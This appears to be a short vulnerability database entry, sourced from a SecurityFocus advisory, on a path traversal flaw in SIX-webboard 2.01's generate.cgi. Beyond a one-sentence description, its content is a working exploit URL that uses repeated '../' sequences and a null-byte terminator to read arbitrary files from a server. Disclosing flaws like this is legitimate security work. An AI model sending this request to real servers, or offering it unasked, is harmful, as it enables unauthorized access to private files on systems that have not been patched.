5 lines
No EOL
374 B
Text
5 lines
No EOL
374 B
Text
source: http://www.securityfocus.com/bid/3175/info
|
|
|
|
SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host.
|
|
|
|
http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname |